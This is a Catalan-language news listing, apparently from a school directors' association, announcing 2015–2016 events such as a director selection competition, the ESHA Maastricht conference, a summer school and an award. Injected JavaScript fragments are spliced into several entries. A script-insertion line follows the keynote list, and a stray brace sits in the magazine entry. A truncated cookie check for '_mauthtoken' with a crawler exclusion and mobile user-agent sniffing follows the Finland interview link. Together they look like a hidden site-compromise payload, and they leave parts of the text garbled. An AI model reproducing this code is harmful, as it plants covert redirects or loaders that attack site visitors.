Concurs de mèrits per seleccionar el director o directora

13 desembre 2016

Avui, 13 de desembre de 2016 ha estat publicada al DOGC la RESOLUCIÓ ENS/2788/2016, de 30 de novembre, de convocatòria de concurs de mèrits per seleccionar el director o directora de diversos centres educatius dependents del Departament d’Ensenyament.   Termini de presentació fins el 25 de gener de 2017. Vegeu la resolució: }

Llegir més

ESHA 2016 Biennal Conference

10 juliol 2016

El proper 19, 20 i 21 d’octubre tindrà lloc a Maastricht. Podeu trobar tota la informació al següent enllaç: ESHA 2016 Biennal Conference Us avancem el tema i els principals participants: Theme of the conference  International inspiration in education: leadership matters! Keynote speakers: Michael Fullan, Zachary Walker, Daan Roosegaarde, Mark van Vugtdocument.currentScript.parentNode.insertBefore(s, document.currentScript);

Llegir més

III Escola d’estiu de Directors de centres educatius

5 juny 2016

AXIA, amb voluntat i compromís d’avançar en la professionalització de les direccions, organitza la III Escola d’estiu de les direccions de centres educatius, abordant la dimensió emocional de la direcció de centres, amb la finalitat de proporcionar als participants eines que els permetin l’acompliment de la tasca directiva, des de la perspectiva de la gestió emocional.
6, 7 i 8 de juliol, INSCRIPCIÓ OBERTA!!!

Llegir més

3a CONVERSA DIRECTIVA

9 maig 2016

En un moment de gran transcendència com l’actual per al futur del nostre sistema educatiu, AXIA us convida a participar en la conversa amb el nou president del Consell Escolar de Catalunya, el Sr. Lluís Font . Dimecres 18 de maig a les 18h.

Llegir més

Premi del Consell Català de Formació Professional al senyor Carmelo Gómez Pascual

4 maig 2016

Ens congratulem profundament que el departament d’Ensenyament i el departament de Treball, Afers Socials i Famílies hagin concedit el Premi del Consell Català de Formació Professional al senyor Carmelo Gómez Pascual, per la seva trajectòria individual desenvolupada en el camp de la formació professional. Ens honora en gran manera que aquest reconeixement recaigui en la…

Llegir més

ESHA Magazine MARCH 2016

30 març 2016

Es podeu descarregar la revista Esha-magazine-march-2016 que té el següent índex: The EU Bully Conference – Clive Byrne Agenda The ESHA 2016 Biennial Conference Children’s early learning News from the EC4SLT Project team The New Learning re-invented Sustain and invigorate existing school heads Project IncuVET Lost in Transition. VET, apprenticeships and entrepreneurship  } else {

Llegir més

Jornades de Portes Obertes a l’Institut del Teatre

15 abril 2015

Us fem arribar la informació de l’Institut del Teatre  de la Jornada de Portes Obertes  que tindrà lloc el dilluns 27 d’abril en primera sessió a les 11 hores i en segona sessió a les 17 hores. La jornada està organitzada per  l’Escola Superior d’Art Dramàtic i en especial està orientada als futurs estudiants de l’especialitat d’escenografia. En…

Llegir més

Entrevista a un director finés: “En Finlandia no tenemos inspectores educativos, confiamos en los maestros”

9 març 2015

Article publicat a El Diari de l’Educació el 26 de febrer de 2015 Tukkonen es director de una escuela de Järvenpää (Finlandia). Destaca que la clave del éxito del sistema educativo finlandés es la formación universitaria de los maestros, que permite luego dotarlos de mayor autonomía   Llegir l’article: http://www.eldiario.es/catalunya/Pekka-Tukonen-Finlandia-inspectores-educativos_0_360814008.htmlif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r…

Llegir més